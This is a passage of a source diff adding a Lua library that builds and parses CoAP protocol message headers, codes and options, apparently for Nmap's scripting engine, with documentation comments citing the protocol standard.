+ string.pack(">I2", id),
+ token,
+ }
+
+ -- Include optional portions of the header.
+ if options["options"] then
+ pkt[#pkt+1] = COAP.header.options.build(options.options)
+ end
+
+ return table.concat(pkt)
+end
+
+--- Parses a CoAP message header.
+--
+-- @name COAP.header.parse
+--
+-- See section "3. Message Format" of the standard.
+--
+-- @param buf String from which to parse the header.
+-- @param pos Position from which to start parsing.
+--
+-- @return pos String index on success, false on failure.
+-- @return response Table representing a message header on success,
+-- string containing the error message on failure.
+COAP.header.parse = function(buf, pos)
+ assert(type(buf) == "string")
+
+ if not pos or pos == 0 then
+ pos = 1
+ end
+ assert(type(pos) == "number")
+ assert(pos <= #buf)
+
+ if #buf - pos + 1 < 4 then
+ return false, "Fixed header extends past end of buffer."
+ end
+
+ local ver_type_tkl, code, id, pos = string.unpack(">Bc1I2", buf, pos)
+
+ -- Parse the fixed header.
+ local hdr = {}
+
+ local ver = ver_type_tkl >> 6
+ hdr.version = ver
+
+ local mtype = ver_type_tkl >> 4
+ mtype = mtype & 0x3
+
+ hdr.type = ("(unrecognized: %d)"):format(mtype)
+ for key, val in pairs(COAP.header.types) do
+ if val == mtype then
+ hdr.type = key
+ break
+ end
+ end
+
+ local tkl = ver_type_tkl & 0xF
+ if tkl < 0 or tkl > 8 then
+ return false, ("Token length was %d, but must be 0 through 8."):format(tkl)
+ end
+ hdr.token_length = tkl
+
+ local status, code = COAP.header.codes.parse(code)
+ if not status then
+ return false, code
+ end
+ hdr.code = code
+
+ hdr.id = id
+
+ -- The token can be between 0 and 8 bytes.
+ if hdr.token_length > 0 then
+ hdr.token = buf:sub(pos, pos + hdr.token_length - 1)
+ pos = pos + hdr.token_length
+ end
+
+ -- If we've reached the end of the packet, there's no options or
+ -- payload and we can return immediately after we put in an empty
+ -- options table.
+ if pos > #buf then
+ hdr.options = {}
+ return pos, hdr
+ end
+
+ -- Parse the options.
+ local pos, opt = COAP.header.options.parse(buf, pos)
+ if not pos then
+ return false, opt
+ end
+ hdr.options = opt
+
+ return pos, hdr
+end
+
+COAP.header.codes.ids = {
+ -- Requests
+ ["get"] = {0, 1},
+ ["post"] = {0, 2},
+ ["put"] = {0, 3},
+ ["delete"] = {0, 4},
+
+ -- Responses
+ ["created"] = {2, 1},
+ ["deleted"] = {2, 2},
+ ["valid"] = {2, 3},
+ ["changed"] = {2, 4},
+ ["content"] = {2, 5},
+ ["bad_request"] = {4, 0},
+ ["unauthorized"] = {4, 1},
+ ["bad_option"] = {4, 2},
+ ["forbidden"] = {4, 3},
+ ["not_found"] = {4, 4},
+ ["method_not_allowed"] = {4, 5},
+ ["not_acceptable"] = {4, 6},
+ ["precondition_failed"] = {4, 12},
+ ["request_entity_too_large"] = {4, 13},
+ ["unsupported_content-format"] = {4, 15},
+ ["internal_server_error"] = {5, 0},
+ ["not_implemented"] = {5, 1},
+ ["bad_gateway"] = {5, 2},
+ ["service_unavailable"] = {5, 3},
+ ["gateway_timeout"] = {5, 4},
+ ["proxying_not_supported"] = {5, 5},
+}
+
+--- Builds a CoAP message request or response code.
+--
+-- @name COAP.header.codes.build
+--
+-- @param name String naming the desired code.
+--
+-- @return status true on success, false on failure.
+-- @return response String representing a code on success, or
+-- containing the error message on failure.
+COAP.header.codes.build = function(name)
+ assert(type(name) == "string")
+
+ local id = COAP.header.codes.ids[name]
+ assert(id, ("Code '%s' not recognized."):format(name))
+
+ local class = id[1]
+ local detail = id[2]
+
+ class = class << 5
+
+ return string.pack("B", class | detail)
+end
+
+--- Parses a CoAP request or response code.
+--
+-- @name COAP.header.codes.parse
+--
+-- @param buf String from which to parse the code.
+-- @param pos Position from which to start parsing.
+--
+-- @return pos String index on success, false on failure.
+-- @return response Table representing the code on success, string
+-- containing the error message on failure.
+COAP.header.codes.parse = function(buf, pos)
+ assert(type(buf) == "string")
+ if #buf < 1 then
+ return false, "Cannot parse a string of less than one byte."
+ end
+
+ if not pos or pos == 0 then
+ pos = 1
+ end
+ assert(type(pos) == "number")
+ assert(pos <= #buf)
+
+ local id, pos = string.unpack("B", buf, pos)
+ if not pos then
+ return false, id
+ end
+
+ local class = id >> 5
+ local detail = id & 0x1F
+
+ for key, val in pairs(COAP.header.codes.ids) do
+ if val[1] == class and val[2] == detail then
+ return pos, key
+ end
+ end
+
+ return false, ("Code '%d.%02d' not recognized."):format(class, detail)
+end
+
+COAP.header.options.ids = {
+ ["if_match"] = 1,
+ ["uri_host"] = 3,
+ ["etag"] = 4,
+ ["if_none_match"] = 5,
+ ["uri_port"] = 7,
+ ["location_path"] = 8,
+ ["uri_path"] = 11,
+ ["content_format"] = 12,
+ ["max_age"] = 14,
+ ["uri_query"] = 15,
+ ["accept"] = 17,
+ ["location_query"] = 20,
+ ["block2"] = 23,
+ ["block1"] = 27,
+ ["proxy_uri"] = 35,
+ ["proxy_scheme"] = 39,
+ ["size1"] = 60,
+}
+
+--- Build CoAP message header options.
+--
+-- @name COAP.header.options.build
+--
+-- See section "3.1. Option Format" of the standard.
+--
+-- Due to the ordering of options and using delta representation of
+-- their identifiers, we process all options at once.
+--
+-- The sorting method used is in this function is terrible, but using
+-- Lua's sort with a function gave seemingly inconsistent results. We
+-- have rolled-our-own stable sort which functions properly. Replacing
+-- it is welcome.
+--
+-- @param options Table of options and their values.
+--
+-- @return response String representing a raw set of options, properly
+-- sorted.
+COAP.header.options.build = function(options)
+ -- Sanity check the option table.
+ assert(type(options) == "table")
+ if #options == 0 then
+ return ""
+ end
+
+ -- Each option needs to have an ID, since that's used for ordering
+ -- and the delta value.
+ local ids = {}
+ for _, opt in pairs(options) do
+ local id = COAP.header.options.ids[opt.name]
+ assert(id)
+ opt.id = id
+ ids[id] = true
+ end
+
+ -- Options are encoded in order of their corresponding IDs, and
+ -- contain a delta value indicating the offset of the option's ID
+ -- from the previous option, which allows gaps.
+ --
+ -- We start by ordering the array of options, using stable sorting
+ -- so that duplicate options retain their relative ordering. The
+ -- range of IDs is large enough to warrant sorting instead of
+ -- iterating through all possibilities.
+ local unique_ids = {}
+ for key, val in pairs(ids) do
+ table.insert(unique_ids, key)
+ end
+
+ table.sort(unique_ids)
+
+ local sorted_options = {}
+ for _, id in ipairs(unique_ids) do
+ for _, opt in pairs(options) do
+ if opt.id == id then
+ table.insert(sorted_options, opt)
+ end
+ end
+ end
+
+ -- The first option, and duplicate instances of an option, can be
+ -- encoded using a delta of zero.
+ local prev = 0
+
+ local pkt = ""
+ for _, opt in ipairs(sorted_options) do
+ -- Build the option's value.
+ local val = COAP.header.options[opt.name].build(opt.value)
+
+ -- Calculate delta of this option's ID versus the previous
+ -- option's ID.
+ local delta = opt.id - prev
+ assert(delta >= 0)
+ prev = opt.id
+
+ -- We must delete the ID key from the option to prevent it from
+ -- persisting on the shared object that was passed in, which can
+ -- bungle our tests.
+ opt.id = nil
+
+ -- Due to the complex nature of the delta and length fields, they
+ -- are handled together.
+ local delta_and_length = COAP.header.options.delta_length.build(delta, #val)
+
+ pkt = pkt .. delta_and_length .. val
+ end
+
+ return pkt
+end
+
+--- Parses a CoAP message's header options.
+--
+-- @name COAP.header.options.parse
+--
+-- See section "3.1. Option Format" of the standard.
+--
+-- @param buf String from which to parse the options.
+-- @param pos Position from which to start parsing.
+--
+-- @return pos String index on success, false on failure.
+-- @return response Table representing options on success, string
+-- containing the error message on failure.
+COAP.header.options.parse = function(buf, pos)
+ assert(type(buf) == "string")
+ if #buf < 1 then
+ return false, nil, nil, "Cannot parse a string of less than one byte."
+ end
+
+ if not pos or pos == 0 then
+ pos = 1
+ end
+ assert(type(pos) == "number")
+ assert(pos <= #buf, ("pos<%d> <= #buf<%d>"):format(pos, #buf))
+
+ local prev = 0
+ local options = {}
+ while pos <= #buf do
+ -- Check for the Packet Marker which terminates the options list.
+ if buf:byte(pos) == 0xFF then
+ break
+ end
+
+ -- Parse the first one to five bytes of the option.
+ local delta, err, length
+ pos, delta, length, err = COAP.header.options.delta_length.parse(buf, pos)
+ if not pos then
+ return false, err
+ end
+
+ -- Reconstruct the ID and name of the option.
+ local id = prev + delta
+ prev = id
+ local name = nil
+ for key, val in pairs(COAP.header.options.ids) do
+ if val == id then
+ name = key
+ break
+ end
+ end
+
+ -- XXX-MAK: Technically, we should determine whether the option is
+ -- critical and only fail if it is. However, this works well
+ -- enough.
+ if not name then
+ return false, ("Failed to find name for option with ID %d."):format(id)
+ end
+
+ -- Extract the value bytes from the buffer, since the option value
+ -- parsers cannot determine the value length on their own.
+ local end_pos = pos + length
+ if end_pos - 1 > #buf then
+ return false, "Option value extends past end of buffer."
+ end
+ local body = buf:sub(pos, end_pos - 1)
+ pos = end_pos
+
+ -- Parse the value of the option.
+ local val = COAP.header.options[name].parse(body)
+
+ -- Create the option definition and add it to our list.
+ table.insert(options, {["name"] = name, ["value"] = val})
+ end
+
+ return pos, options
+end
+
+--- Builds a CoAP message header Accept option.
+--
+-- @name COAP.header.options.accept.build
+--
+-- 5.10.4. Accept
+--
+-- @param val Number representing an acceptable content type.
+--
+-- @return str String representing the option's value.
+COAP.header.options.accept.build = function(val)
+ assert(val >= 0)
+ assert(val <= 65535)
+ return COAP.header.options.value.uint.build(val)
+end
+
+--- Parses a CoAP message header Accept option.
+--
+-- @name COAP.header.options.accept.parse
+--
+-- 5.10.4. Accept
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Number representing the option's value.
+COAP.header.options.accept.parse = function(buf)
+ return COAP.header.options.value.uint.parse(buf)
+end
+
+--- Builds a CoAP message header Block1 option.
+--
+-- @name COAP.header.options.block1.build
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block.build
+--
+-- @param val Table representing the option's parameters.
+--
+-- @return str String representing the option's value.
+COAP.header.options.block1.build = function(val)
+ return COAP.header.options.value.block.build(val)
+end
+
+--- Parses a CoAP message header Block1 option.
+--
+-- @name COAP.header.options.block1.parse
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block.parse
+--
+-- @param buf String from which to parse the option.
+--
+-- @return response Table representing the option's value.
+COAP.header.options.block1.parse = function(buf)
+ return COAP.header.options.value.block.parse(buf)
+end
+
+--- Builds a CoAP message header Block2 option.
+--
+-- @name COAP.header.options.block2.build
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block.build
+--
+-- @param val Table representing the option's parameters.
+--
+-- @return str String representing the option.
+COAP.header.options.block2.build = function(val)
+ return COAP.header.options.value.block.build(val)
+end
+
+--- Parses a CoAP message header Block2 option.
+--
+-- @name COAP.header.options.block2.parse
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block.parse
+--
+-- @param buf String from which to parse the option.
+--
+-- @return response Table representing the option's value.
+COAP.header.options.block2.parse = function(buf)
+ return COAP.header.options.value.block.parse(buf)
+end
+
+-- The default content format, "charset=utf-8", is represented by the
+-- absence of this option.
+COAP.header.options.content_format.values = {
+ ["text/plain"] = 0,
+ ["application/link-format"] = 40,
+ ["application/xml"] = 41,
+ ["application/octet-stream"] = 42,
+ ["application/exi"] = 47,
+ ["application/json"] = 50,
+}
+
+--- Builds a CoAP message header Content-Format option.
+--
+-- @name COAP.header.options.content_format.build
+--
+-- 5.10.3. Content-Format
+--
+-- @param val Number representing the payload content format.
+--
+-- @return str String representing the option's value.
+COAP.header.options.content_format.build = function(val)
+ -- Translate string to number if necessary.
+ if type(val) == "string" then
+ val = COAP.headers.options.content_format.values[val]
+ end
+ assert(val)
+
+ return COAP.header.options.value.uint.build(val)
+end
+
+--- Parses a CoAP message header Content-Format option.
+--
+-- @name COAP.header.options.content_format.parse
+--
+-- 5.10.3. Content-Format
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.content_format.parse = function(buf)
+ local val = COAP.header.options.value.uint.parse(buf)
+
+ -- Translate number to string if possible.
+ for name, num in pairs(COAP.header.options.content_format.values) do
+ if num == val then
+ return name
+ end
+ end
+
+ return val
+end
+
+--- Builds a CoAP message header ETag option.
+--
+-- @name COAP.header.options.etag.build
+--
+-- 5.10.6. ETag
+-- 5.10.6.1. ETag as a Response Option
+-- 5.10.6.2. ETag as a Request Option
+--
+-- @param val String representing the ETag's value.
+--
+-- @return str String representing the option's value.
+COAP.header.options.etag.build = function(val)
+ assert(#val >= 1)
+ assert(#val <= 8)
+ return COAP.header.options.value.opaque.build(val)
+end
+
+--- Parses a CoAP message header ETag option.
+--
+-- @name COAP.header.options.etag.parse
+--
+-- 5.10.6. ETag
+-- 5.10.6.1. ETag as a Response Option
+-- 5.10.6.2. ETag as a Request Option
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.etag.parse = function(buf)
+ return COAP.header.options.value.opaque.parse(buf)
+end
+
+--- Builds a CoAP message header If-Match option.
+--
+-- @name COAP.header.options.if_match.build
+--
+-- 5.10.8. Conditional Request Options
+-- 5.10.8.1. If-Match
+--
+-- @param val String representing the condition.
+--
+-- @return str String representing the option's value.
+COAP.header.options.if_match.build = function(val)
+ assert(#val >= 0)
+ assert(#val <= 8)
+ return COAP.header.options.value.opaque.build(val)
+end
+
+--- Parses a CoAP message header If-Match option.
+--
+-- @name COAP.header.options.if_match.parse
+--
+-- 5.10.8. Conditional Request Options
+-- 5.10.8.1. If-Match
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.if_match.parse = function(buf)
+ return COAP.header.options.value.opaque.parse(buf)
+end
+
+--- Builds a CoAP message header If-None-Match option.
+--
+-- @name COAP.header.options.if_none_match.build
+--
+-- 5.10.8. Conditional Request Options
+-- 5.10.8.2. If-None-Match
+--
+-- @param val Parameter is ignored, existing only to keep API
+-- consistent.
+--
+-- @return str Empty string to keep API consistent.
+COAP.header.options.if_none_match.build = function(val)
+ return COAP.header.options.value.empty.build(val)
+end
+
+--- Parses a CoAP message header If-None-Match option.
+--
+-- @name COAP.header.options.if_none_match.parse
+--
+-- 5.10.8. Conditional Request Options
+-- 5.10.8.2. If-None-Match
+--
+-- @param buf Parameter is ignored, existing only to keep API
+-- consistent.
+--
+-- @return val Nil due to the option being empty.
+COAP.header.options.if_none_match.parse = function(buf)
+ return COAP.header.options.value.empty.parse(buf)
+end
+
+--- Builds a CoAP message header Location-Path option.
+--
+-- @name COAP.header.options.location_path.build
+--
+-- 5.10.7. Location-Path and Location-Query
+--
+-- @param val String representing a path.
+--
+-- @return str String representing the option's value.
+COAP.header.options.location_path.build = function(val)
+ assert(#val >= 0)
+ assert(#val <= 255)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Location-Path option.
+--
+-- @name COAP.header.options.location_path.parse
+--
+-- 5.10.7. Location-Path and Location-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.location_path.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Location-Query option.
+--
+-- @name COAP.header.options.location_query.build
+--
+-- 5.10.7. Location-Path and Location-Query
+--
+-- @param val String representing the query.
+--
+-- @return str String representing the option's value.
+COAP.header.options.location_query.build = function(val)
+ assert(#val >= 0)
+ assert(#val <= 255)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Location-Query option.
+--
+-- @name COAP.header.options.location_query.parse
+--
+-- 5.10.7. Location-Path and Location-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.location_query.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Max-Age option.
+--
+-- @name COAP.header.options.max_age.build
+--
+-- 5.10.5. Max-Age
+--
+-- @param val Number representing the maximum age.
+--
+-- @return str String representing the option's value
+COAP.header.options.max_age.build = function(val)
+ return COAP.header.options.value.uint.build(val)
+end
+
+--- Parses a CoAP message header Max-Age option.
+--
+-- @name COAP.header.options.max_age.parse
+--
+-- 5.10.5. Max-Age
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Number representing the option's value.
+COAP.header.options.max_age.parse = function(buf)
+ return COAP.header.options.value.uint.parse(buf)
+end
+
+--- Builds a CoAP message header Proxy-Scheme option.
+--
+-- @name COAP.header.options.proxy_scheme.build
+--
+-- 5.10.2. Proxy-Uri and Proxy-Scheme
+--
+-- @param val String representing the proxy scheme.
+--
+-- @return str String representing the option's value.
+COAP.header.options.proxy_scheme.build = function(val)
+ assert(#val >= 1)
+ assert(#val <= 255)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Proxy-Scheme option.
+--
+-- @name COAP.header.options.proxy_scheme.parse
+--
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.proxy_scheme.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Proxy-Uri option.
+--
+-- @name COAP.header.options.proxy_uri.build
+--
+-- 5.10.2. Proxy-Uri and Proxy-Scheme
+--
+-- @param val String representing the proxy URI.
+--
+-- @return str String representing the option's value.
+COAP.header.options.proxy_uri.build = function(val)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Proxy-Uri option.
+--
+-- @name COAP.header.options.proxy_uri.parse
+--
+-- 5.10.2. Proxy-Uri and Proxy-Scheme
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.proxy_uri.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Size1 option.
+--
+-- @name COAP.header.options.Size1.build
+--
+-- 5.10.9. Size1 Option
+--
+-- @param val Number representing a size.
+--
+-- @return str String representing the option's value.
+COAP.header.options.size1.build = function(val)
+ return COAP.header.options.value.uint.build(val)
+end
+
+--- Parses a CoAP message header Size1 option.
+--
+-- @name COAP.header.options.size1.parse
+--
+-- 5.10.9. Size1 Option
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Number representing the option's value.
+COAP.header.options.size1.parse = function(buf)
+ return COAP.header.options.value.uint.parse(buf)
+end
+
+--- Builds a CoAP message header Uri-Host option.
+--
+-- @name COAP.header.options.uri_host.build
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param val String representing the host of the URI.
+--
+-- @return str String representing the option's value.
+COAP.header.options.uri_host.build = function(val)
+ assert(#val >= 1)
+ assert(#val <= 255)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Uri-Host option.
+--
+-- @name COAP.header.options.uri_host.parse
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.uri_host.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Uri-Path option.
+--
+-- @name COAP.header.options.uri_path.build
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param val String representing a path in the URI.
+--
+-- @return str String representing the option's value.
+COAP.header.options.uri_path.build = function(val)
+ assert(#val >= 0)
+ assert(#val <= 255)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Uri-Path option.
+--
+-- @name COAP.header.options.uri_path.parse
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.uri_path.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Uri-Port option.
+--
+-- @name COAP.header.options.uri_port.build
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param val Number representing an endpoint's port number.
+--
+-- @return str String representing the option's value.
+COAP.header.options.uri_port.build = function(val)
+ assert(val >= 0)
+ assert(val <= 65535)
+ return COAP.header.options.value.uint.build(val)
+end
+
+--- Parses a CoAP message header Uri-Port option.
+--
+-- @name COAP.header.options.uri_port.parse
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Number representing the option's value.
+COAP.header.options.uri_port.parse = function(buf)
+ return COAP.header.options.value.uint.parse(buf)
+end
+
+--- Builds a CoAP message header Uri-Query option.
+--
+-- @name COAP.header.options.uri_query.build
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param val String representing a query string in the URI.
+--
+-- @return str String representing the option's value.
+COAP.header.options.uri_query.build = function(val)
+ return COAP.header.options.value.string.build(val)
+end
+
+--- Parses a CoAP message header Uri-Query option.
+--
+-- @name COAP.header.options.uri_query.parse
+--
+-- 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.uri_query.parse = function(buf)
+ return COAP.header.options.value.string.parse(buf)
+end
+
+--- Builds a CoAP message header Block option.
+--
+-- @name COAP.header.options.block.build
+--
+-- For large payloads that would be too large for the underlying
+-- transport, block transfers exist. This allows endpoints to transfer
+-- payloads in small chunks. This is very common, and is frequently
+-- used when transferring the <code>/.well-known/core</code> resource
+-- due to its size.
+--
+-- As of the writing of this function, the block transfer definition
+-- is a draft undergoing active revision.
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block1.build
+-- @see COAP.header.options.block2.build
+--
+-- @param val Table representing the block's parameters.
+--
+-- @return str String representing the option's value.
+COAP.header.options.value.block.build = function(val)
+ assert(type(val) == "table")
+
+ -- Let the uint parser do the initial encoding, since it can handle
+ -- 1-3 byte uints, even though the block number field can only be 4,
+ -- 12, or 20 bits. The encoding guarantees that the 4 LSBs can be
+ -- used for the remaining two fields.
+ --
+ -- Note that we have to handle zero as a special case since the uint
+ -- will be represented by the absence of any bytes, but we need a
+ -- single byte to encode the remaining two fields.
+ local num = val.number
+ assert(type(num) == "number")
+ assert(val.number >= 0)
+ assert(val.number <= 1048575)
+
+ num = num << 1
+
+ local mf = val.more
+ assert(type(mf) == "boolean")
+ if mf then
+ num = num | 0x1
+ end
+
+ num = num << 3
+
+ local length = val.length
+ assert(type(length) == "number")
+ assert(val.length >= 16)
+ assert(val.length <= 1024)
+
+ local map = {[16]=0, [32]=1, [64]=2, [128]=3, [256]=4, [512]=5, [1024]=6}
+ local szx = map[length]
+ assert(szx)
+
+ num = num | szx
+
+ -- The final number that results from combining all the fields
+ -- should fit within 3 bytes when built.
+ assert(num >= 0)
+ assert(num <= 16777215)
+
+ -- Let the uint builder do the initial encoding, since it can handle
+ -- 1-3 byte uints.
+ --
+ -- There is a special case that if all fields are zero/false, then
+ -- no bytes should be contained in the value of the block option.
+ -- This is due to the number zero being represented as the absence
+ -- of any bytes.
+ local str = COAP.header.options.value.uint.build(num)
+
+ -- Finally, we want to check that we haven't over-shifted, which is
+ -- characterized by the result being longer than expected based on
+ -- the original number.
+ if val.number == 0 and val.more == false and val.length == 16 then
+ assert(#str == 0)
+ elseif val.number <= 15 then
+ assert(#str == 1)
+ elseif val.number <= 4095 then
+ assert(#str == 2)
+ else
+ assert(#str == 3)
+ end
+
+ return str
+end
+
+--- Parses a CoAP message header Block option.
+--
+-- @name COAP.header.options.block.parse
+--
+-- https://tools.ietf.org/html/draft-ietf-core-block-19
+--
+-- @see COAP.header.options.block1.parse
+-- @see COAP.header.options.block2.parse
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Table representing the option.
+COAP.header.options.value.block.parse = function(buf)
+ assert(#buf >= 0)
+ assert(#buf <= 3)
+
+ -- Let the uint parser do the initial decoding, since it can handle
+ -- 1-3 byte uints.
+ local num = COAP.header.options.value.uint.parse(buf)
+ assert(num >= 0)
+ assert(num <= 16777215)
+
+ -- Extract size exponent which represents 2 to the power of 4 + szx.
+ --
+ -- Note that this field could have a value as high as 7, it is only
+ -- allowed to go up to 6. This prevents the option's value from
+ -- being misinterpreted as the payload marker.
+ local szx = num & 0x7
+ if szx == 7 then
+ szx = 6
+ end
+
+ local length = 2 ^ (4 + szx)
+ assert(length >= 16)
+ assert(length <= 1024)
+
+ num = num >> 3
+
+ -- Extract more flag which indicates whether this is the last block.
+ local mf = ((num & 0x1) == 0x1)
+ assert(type(mf) == "boolean")
+
+ num = num >> 1
+
+ -- The remainder of the number is the block number in sequence.
+ assert(num >= 0)
+ assert(num <= 1048575)
+
+ return {
+ ["number"] = num,
+ ["more"] = mf,
+ ["length"] = length,
+ }
+end
+
+--- Builds a CoAP message's Empty header option value.
+--
+-- @name COAP.header.options.value.empty.parse
+--
+-- 3.2. Option Value Formats
+--
+-- @param val Parameter is ignored, existing only to keep API
+-- consistent.
+--
+-- @return str Empty string.
+COAP.header.options.value.empty.build = function(val)
+ assert(type(val) == "nil")
+ return ""
+end
+
+--- Parses a CoAP message Empty header option value.
+--
+-- @name COAP.header.options.value.empty.parse
+--
+-- 3.2. Option Value Formats
+--
+-- @param buf Parameter is ignored, existing only to keep API
+-- consistent.
+--
+-- @return val Nil due to the option being empty.
+COAP.header.options.value.empty.parse = function(buf)
+ assert(type(buf) == "string", ("Expected 'string', got '%s'."):format(type(buf)))
+ return nil
+end
+
+--- Builds a CoAP message Opaque header option value.
+--
+-- @name COAP.header.options.value.opaque.build
+--
+-- 3.2. Option Value Formats
+--
+-- @param str String representing an opaque option value.
+--
+-- @return str String representing the option's value.
+COAP.header.options.value.opaque.build = function(str)
+ assert(type(str) == "string", ("Expected 'string', got '%s'."):format(type(str)))
+ return str
+end
+
+--- Parses a CoAP message Opaque header option value.
+--
+-- @name COAP.header.options.value.opaque.parse
+--
+-- 3.2. Option Value Formats
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.value.opaque.parse = function(buf)
+ assert(type(buf) == "string", ("Expected 'string', got '%s'."):format(type(buf)))
+ return buf
+end
+
+--- Builds a CoAP message String header option value.
+--
+-- @name COAP.header.options.value.string.build
+--
+-- 3.2. Option Value Formats
+--
+-- @param str String representing a string option value.
+--
+-- @return str String representing the option's value.
+COAP.header.options.value.string.build = function(str)
+ assert(type(str) == "string", ("Expected 'string', got '%s'."):format(type(str)))
+ return str
+end
+
+--- Parses a CoAP message String header option value.
+--
+-- @name COAP.header.options.value.string.parse
+--
+-- 3.2. Option Value Formats
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val String representing the option's value.
+COAP.header.options.value.string.parse = function(buf)
+ assert(type(buf) == "string", ("Expected 'string', got '%s'."):format(type(buf)))
+ return buf
+end
+
+--- Builds a CoAP message Uint header option value.
+--
+-- @name COAP.header.options.value.uint.build
+--
+-- 3.2. Option Value Formats
+--
+-- @param val Number representing a Uint option value.
+--
+-- @return str String representing the option's value.
+COAP.header.options.value.uint.build = function(val)
+ assert(type(val) == "number")
+ assert(val >= 0)
+ assert(val <= 4294967295)
+
+ if val == 0 then
+ return ""
+ end
+ -- strip leading null bytes to use smallest space
+ return string.pack(">I16", val):gsub("^\0*","")
+end
+
+--- Parses a CoAP message Uint header option value.
+--
+-- @name COAP.header.options.value.uint.parse
+--
+-- 3.2. Option Value Formats
+--
+-- @param buf String from which to parse the option.
+--
+-- @return val Number representing the option's value.
+COAP.header.options.value.uint.parse = function(buf)
+ assert(type(buf) == "string")
+ assert(#buf >= 0)
+ assert(#buf <= 16)
+
+ if #buf == 0 then
+ return 0
+ end
+
+ local val = string.unpack(">I" .. #buf, buf)
+
+ -- There should be no way for this to fail.
+ assert(val)
+ assert(type(val) == "number")
+
+ return val
+end
+
+--- Build the variable-length option delta and length field.
+--
+-- @name COAP.header.options.delta_length.build
+--
+-- Due to the interleaving of these two fields they are handled
+-- together, since they can appear in nine forms, with the first byte
+-- holding a nibble for each:
+-- 1) D|L
+-- 2) D|L D
+-- 3) D|L L
+-- 4) D|L D D
+-- 5) D|L D L
+-- 6) D|L L L
+-- 7) D|L D D L
+-- 8) D|L D L L
+-- 9) D|L D D L L
+--
+-- The 4 bits reserved in the header for the delta and length are
+-- not enough to represent the large numbers required by the
+-- options. For this reason there is a 1 or 2-byte field
+-- conditionally added to the option's header to extend the range
+-- the deltas and lengths can represent.
+--
+-- The delta field can represent:
+-- Low : 0 as 0000
+-- High: 12 as 1100
+--
+-- With one extra delta byte, it can represent:
+-- Low : 13 as 1101 00000000 (13 + 0)
+-- High: 268 as 1101 11111111 (13 + 255)
+--
+-- With two extra delta bytes, it can represent:
+-- Low : 269 as 1110 00000000 00000000 (269 + 0)
+-- High: 65804 as 1110 11111111 11111111 (269 + 65535)
+--
+-- 3.1. Option Format
+--
+-- @param delta Number representing the option ID's delta.
+-- @param length Number representing the length of the option's value.
+--
+-- @return str String representing the delta and length fields.
+COAP.header.options.delta_length.build = function(delta, length)
+ local build = function(num)
+ assert(type(num) == "number")
+ assert(num >= 0)
+ assert(num <= 65804)
+
+ if num <= 12 then
+ return num, ""
+ end
+
+ if num <= 268 then
+ return 13, string.pack("B", num - 13)
+ end
+
+ return 14, string.pack(">I2", num - 269)
+ end
+
+ local d1, d2 = build(delta)
+ local l1, l2 = build(length)
+
+ d1 = d1 << 4
+
+ return string.pack("B", d1 | l1) .. d2 .. l2
+end
+
+--- Parse the variable-length option delta and length field.
+--
+-- @name COAP.header.options.delta_length.parse
+--
+-- Due to the interleaving of these two fields they are handled
+-- together. See <ref>COAP.header.options.delta_length_build</ref> for details.
+--
+-- 3.1. Option Format
+--
+-- @param buf String from which to parse the fields.
+-- @param pos Position from which to start parsing.
+--
+-- @return pos Position at which parsing stopped on success, or false
+-- on failure.
+-- @return delta Delta value of the option's ID on success, or nil on
